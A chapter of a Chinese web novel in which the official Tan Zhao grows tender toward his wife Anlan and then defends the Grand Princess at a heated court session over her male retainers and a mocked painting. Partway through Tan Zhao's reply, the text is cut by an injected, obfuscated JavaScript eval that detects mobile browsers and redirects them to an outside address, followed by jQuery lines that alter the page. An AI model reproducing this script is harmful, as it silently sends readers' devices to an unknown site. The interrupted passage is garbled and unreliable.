檀昭伸手扶上她的肩膀:"你怎么了?"
"没,没甚么,一个噩梦。" 安澜掩面转身,默默躺下。
日有所思,夜有所梦。自从长公主的宴席,这些天她时常念及阁主,亦是她曾经的师兄肖五郎。她与他极为像似,若浮萍漂泊,本以为能够一辈子在一起,而今却分道扬镳,越离越远。
师父总说,人生不定数。
时至今日,她愈加明白这个道理。
安澜慢慢收敛心中的天风海雨,暗自擦干眼泪,听见身后悉悉索索的穿衣身,她缓了缓气息,回头看去:"官人这么早起?都怪我吵醒了你,对不住。" 声音依旧带着几分湿润。
"无妨,今日早朝,时候也差不多了。" 檀昭系好中单,走去衣桁处取官袍,并自个儿梳洗。
"噢。" 安澜应道,无精打采地躺下。
这位便宜郎君,也仅是因缘巧合,与他逢场作戏罢了。
他清清冷冷的再好不过。
注定分离之人,万万不能付出真情,因为失望的感觉像似心口狠狠挨了一刀,会很疼的。
安澜正想着,檀昭穿戴好官袍走来。
"今日有些要事,我若晚归,娘子不必等我。"
娘子?
安澜诧异,转身看向他。
这是他第一次唤她娘子。
檀昭自己也愣了愣,适才自然而然地脱口而出。
不过是一称呼,却显得几分亲昵。
俩人相视少顷,檀昭瞥见她依旧湿红的眼眶,适才也听见她在梦中唤"师兄",他没有探究,只嘱咐道:"白日无事,你可以补个觉,但莫贪睡,否则恐怕夜不能寐。" 看着眼前人惊疑之中略带忧伤的俏模样,檀昭脚下黑靴踟蹰着,磨磨蹭蹭的,似乎舍不得离去,又嘱咐一句,"你若有什么难言心事,待我回来,说与我听。"
安澜垂眸点头:"官人放心,我等你回来。" 好不容易压下的泪水,在眼眶里打着转。
低头间,却见那人朝她伸手,温热的指腹轻轻划过她的脸,抹去她眼角滚落的泪珠:"娘子别怕,梦境之事常与现实相反。" 声音比往常温柔多了。
猝不及防。
安澜一时不知所措,别开头,带着浓浓的鼻音"嗯"了一声。
缘何这人突然转变态度?
她自来心软。
她不要他真的待她好……!
"我走了。" 檀昭话罢,缓缓行至门前,却又顿住脚步,回眸望来。
—— 那个娇小的人儿躺在大红鸳鸯被里,蜷着身子,似乎将自己包裹起来能够得到安全感。红彤彤的身影,也像一蔟燃烧于彼岸的小火团,或一株奇花异草,正在他心间扎下细弱的根。
.
五更未到,众位朝臣已在宫门前恭候。
沈博文挨近檀昭,亲热地唤了一声贤婿,笑眯眯地说道:"子瞻,崔侍郎正在整理漕粮的账本,目前已有十年以来的,哪日你到户部,我亲自陪你审阅。" 檀昭这小子雷厉风行,锲而不舍,前不久他拿到陛下手谕,又派人来户部查账。
户部侍郎崔思贤面色暗沉,强行转了笑容,应道:"是是,檀大人莫急,十多年前,还是先帝朝政,部分账册不那么好找,缺失也有可能。"
檀昭拱手:"多谢沈大人,崔大人,我需要二十年来的所有账册,劳烦你们费心了。"
沈博文吃了个冷脸子,暗恼,瞥他一眼:"檀大人要这么久远的账册做何用?那时本官还未入户部。" 崔侍郎也附和道。
"下官是为陛下尽忠。" 檀昭简单一句话,将他们说得无言以对。
沈博文原以为檀昭成了女婿,多少会给他几分情面,然公事上,这位依旧冷面无情,油盐不进,顶多私底下将他当作岳父客套几句。沈博文将檀昭暗骂一通,并将怒气牵连到安澜。
—— 定是那丫头没能收揽檀昭的心!
若是他的真千金、宝贝女儿沈清婉,早将这个姓檀的迷得服服帖帖了!
气归气,沈沈博文露出一副和蔼笑脸:"说得是,我们皆是为陛下尽忠。对了,子瞻,近来小女还好吧?七夕过后,你俩一同来我府里聚聚,我们甚是想念。"
刑部尚书李成凑了过来:"沈大人,檀大人,瞧你们这般亲热,莫非在谈家事?"
檀昭恭敬回礼,揪着公事问道:"李大人,发运使贾庆一事,您可有消息了?贾大人原本在我们台狱里,好端端的,突然心病发作,被你们转去刑部。太医说他修养一段时日便能好转,哪知,前不久贾大人突然病逝,陛下亦是震惊,还请李大人务必探究真相。"
李尚书后悔凑热闹,啧啧两叹,攒眉复道:"这事急不得啊,事关重大,大理寺还在仔细查探。不过,太医局的人说,贾大人定是年老体弱,终日惶遽,经不住这般折腾,唉,人死不能复生,真真可惜,可怜呦。"
檀昭的眸光含着冷笑,刑部尚书借着大理寺的人脉,有意拖延,制造假证,此事定然关系重大,他非要督察到底。
少顷,一众朝臣乌泱泱地涌向垂拱殿。
当朝大周天子秦旭,十五登基,现下二十又二,正是血气方刚的年轻帝王。
朝臣手持笏板,依序出列,陆续呈上一道道奏疏。
东南水患、淮甸大旱、济州骚动、真州漕粮转般仓失火……
今上头顶通天冠,身穿绛纱龙袍,饰以白罗方心曲领,正襟危坐,仔细聆听并答复臣子的诉求。
这些年来,今上已非昔日那位略微怯懦木讷的太子。刚坐上龙椅那会儿,他浑身发颤,每回下朝,总想扑到长公主瑞安的怀里寻求慰籍,母后早逝,阿姊便是他躲避风雨的温柔港湾。而今,如酒沉酿,秦旭愈来愈俊朗威严,敢于肩负重任。
直到言官提及长公主。
今上蓦然色变,问道:"卿等声称长公主招揽男宠,骄奢淫逸,可有实证?" 对于这番说辞,他早有所闻,心下觉得,阿姊只是独居寂寥,招些文人墨客作伴交谈,那些男子皆是幕僚,无关情.色。
可是朝中大臣就着人伦道德一顿谴责,今日更是有凭有据。
"陛下,臣等听闻,前几日,长公主宴请诸多女宾,还让自己的幕僚跟随,陪伴她们作画写诗。要知道,男女大防,那日赴宴者绝大多数皆是闺中女子!"
"竟有这等事,成何体统!"
"世风日下,不恪妇道。"
"啊??我家小女好像也去了,回头质问她!"
"不知他们画了些什么?臣等必须亲眼见之,还请陛下取证!"
赴宴的姑娘们皆是身份显赫,有尚书家的、侍郎家的女儿,老爹们一个个急得满头大汗,搓手顿足。沈博文也在其间,拍着脑门长吁短叹。
朝堂乱成一锅粥。
今上扶额……
遣人速去公主府将书画取来。
这些大臣平常多是政见相异,吵得唾沫横飞,不可开交,偏偏就此事异口同声,不谋而合。
"近来淮河等地发生水灾,说不定与此相关。"
"正是,此乃天象警示。"
"望陛下明鉴,劝说长公主改过自新!"
今上抹汗。
这,好生胡扯……
历代都有朝臣将水患归咎于后宫嫔妃,说女人太多故而阴气过盛,逐遣部分女官,以平水患。现下,倒是第一回听说,有人将水患与长公主的男宠联系起来。
"檀大人怎么看待此事?" 礼部官员故意问道。
众人皆知,檀昭刚直板正,不近女色,最厌轻浮女子。
今上:……
阿姊危矣!
檀卿什么都好,就是为人过于清高严峻,恪守礼法。
檀昭接过礼部传来的烫手山芋,凤目一抬,瞥见今上忐忑的神色,斟酌片刻,复道:"
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253962|179981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
长公主明睿理智,定知循理守分。臣以为,大周律法从未规定公主不能招纳幕僚,若仅是切磋技艺,谈诗论画,非独以色事人,便不是要紧之事。方才,臣等呈上的奏疏才是重中之重,今年水患旱灾频发,诸多地方民不聊生,还请陛下及时应对。"
今上紧提的心松了下来,颌首道:"檀卿所言在理,我们先议要紧国事。"
就檀昭那番话,其他反对官员艴然不悦。
举世皆浊你独清,众人皆醉你独醒??
若非檀昭有太师顾简之,还有皇上维护,说不定早已落得个木秀于林风必摧之。
不过其他大臣也都不好惹。
礼部继续声讨,将矛头对准檀昭。
"檀大人此言差矣,女子重礼守礼,三从四德,至关重要! 长公主高贵明理,定然懂得把握分寸,然此事或有效仿者,倘若其他女子心生淫.欲,违逆礼法,何以训喻?长公主乃金枝玉叶,人中龙凤,更要为天下所有女子,以身效法!"
"檀大人,听闻您家夫人也在宴会中,且有男子为其铺纸研墨。"
"等会儿我们倒要见识下,檀夫人的画作?"
"俗话说,以文识人,画亦能辨人品性!"
沈博文的额头溢出大颗大颗的汗珠,急迫护道:"我家小女蕙心兰质,琴棋书画样样精通,画艺尤佳,惟妙惟肖,师承翰林书画院的王待诏,各位请勿恶言詈辞!"
没料到今日朝堂闹出这一出戏,沈博文比檀昭更着急,不知他的假千金画了些什么……
今上目睹众臣慌里慌张的样子,又气恼又可笑,吩咐内臣多搬些冰块放到殿内降温,就怕天气燥热,有些老臣急火攻心晕过去。
不多时,内臣从长公主那里取来画作,飞奔至殿内呈上。
今上一张张地翻阅,底下大臣们翘首跂踵。
长公主很细心,每幅都注了画者名字。皆是花鸟鱼虫寻常之画,无甚好争议的。
今上暗松一口气。
少顷,他手执一纸,却蹙起双眉:"这副是,沈清婉所绘?"
沈博文瞥见今上犹疑的神色,吓得面若死灰,很想冲过去瞧一瞧,"陛下,您给微臣也看看,小女的拙作?"
今上让人递去画,沈博文连忙双手接过,颤颤巍巍地打量。
整个人一愣。
啊?
就这??
啥玩意儿???
旁者见之,纷纷惊讶。
"沈大人,这就是您千金的大作?"
"看似五岁孩童的手笔,啧啧。"
"这副画作好在哪里?老身看不出。"
沈博文:……
呜呜呜,他哑巴吃黄连有苦说不出!!
檀昭也好奇看来,心头一怔。
这画…… 确实有些,一言难尽……
思忖片刻,檀昭干咳两声,一本正经地说道:"此画看似简朴,然笔墨洒脱,画中有诗,诗情画意,颇有东坡居士的神韵,正合当下文士推崇的抒情写意,返璞归真。"
沈博文猛然回神,连声附和:"所言极是,所言极是! 此画妙就妙在简约,应当凭心感应,意味深长,意味深长啊! 好画,好画!"
檀府内,安澜接连打了三个喷嚏。
"谁人在背后议论我?" 她摸摸鼻子,一边与阿婆准备七夕时令节物。
明日七夕。
"婉儿,''种生''只差最后一步了,你来系彩缕,小心些,豆芽嫩得很。" 前些时候,她们已将菉豆、小豆、小麦置于磁器内,以水浸泡,刚长出芽。梅茹眼睛看不见,便教安澜用红篮彩缕将那些嫩芽束扎起来,笑道,"种生求子,大吉大利! 我盼着早日抱上孙儿孙女喏。"
安澜:……
儿媳没应声,梅茹略微局促,小声探问:"婉儿,你实话告诉阿婆,上回昭儿回房后,你俩相处可好?没再闹别扭吧?"